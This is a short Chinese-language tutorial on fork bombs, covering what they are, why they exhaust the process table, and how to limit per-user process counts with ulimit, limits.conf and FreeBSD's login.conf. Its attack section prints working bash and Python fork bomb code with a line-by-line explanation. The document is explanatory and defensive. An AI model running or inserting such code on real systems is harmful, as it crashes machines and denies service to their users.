一、fork bomb介绍
fork炸弹(fork bomb)在计算机领域中是一种利用系统调用fork(或其他等效的方式)进行的阻断服务攻击。与病毒与蠕虫不同的是,fork炸弹没有传染性,而且fork炸弹会使有进程/程序限制的系统无法开起新工作阶段,对于不限制进程数的系统则使之停止回应。以fork炸弹为代表的自我复制程序有时亦被称为wabbit。
二、原理
fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长趋势),并以此消耗系统分配予进程的可用空间使进程表饱和,而系统在进程表饱和后就无法运行新程序,使系统的正常运作受到严重影响。
除了恶意触发fork炸弹破坏的情况外,软件开发中有时也会不慎在程序中嵌入fork炸弹,如在用于监听网络套接字并行使客户端-服务器结构系统中服务器端职责的应用程序中可能需要无限地进行循环(loop)与派生(fork)操作(类似下节示例程序所示),而在这种情况下源代码内的细微错误就可能在测试中“引爆”fork炸弹。
三、攻击手段
- linux fork炸弹:
:() { :|:& };:
或者
bomb()
{
bomb|bomb&
};
bomb
可以更改格式注解下:
:()
{
:|: &
}
;
:
注解:
- 第 1 行说明定义一个函数,函数名为:,没有可选参数。
- 第 2 行表示函数体开始。
- 第 3 行是函数体,首先它递归调用本函数,然后利用管道调用一个新进程(它要做的事情也是递归调用本函数),并将其放到后台执行。
- 第 4 行表示函数体结束。
- 第 5 行在命令行中用来分隔两个命令用。
- 第 6 行表示调用本函数。
冒号”:”其实是函数名,这个bash脚本就是在不断的执行该函数,然后不断fork出新的进程。
执行完,机器立马中断服务了:
- python fork炸弹
import os
while True:
os.fork()
三、预防
由于Fork Bomb透过不断的开新进程来瘫痪系统,一个防止其严重影响系统的方法就是限定一个用户能够创建的进程数的上限,
(1)在Linux系统上,可以通过ulimit这个指令达到相应的效果,例如:
ulimit -Hu 30 这个指令可以限制每一个用户最多只能创建30个进程
但是上面这种方式机器重启设置会失效,最好用下面写到配置里的方式
通过修改配置文件/etc/security/limits.conf来限制可生成的最大进程数来避开这枚炸弹。
XXXX - nproc 20 (在文件件中加这么一行,XXX是你要限制的那个用户名)
而FreeBSD系统的话系统管理者可以在/etc/login.conf底下的配置文件进行相关的设置
配置完最好试一下有没有生效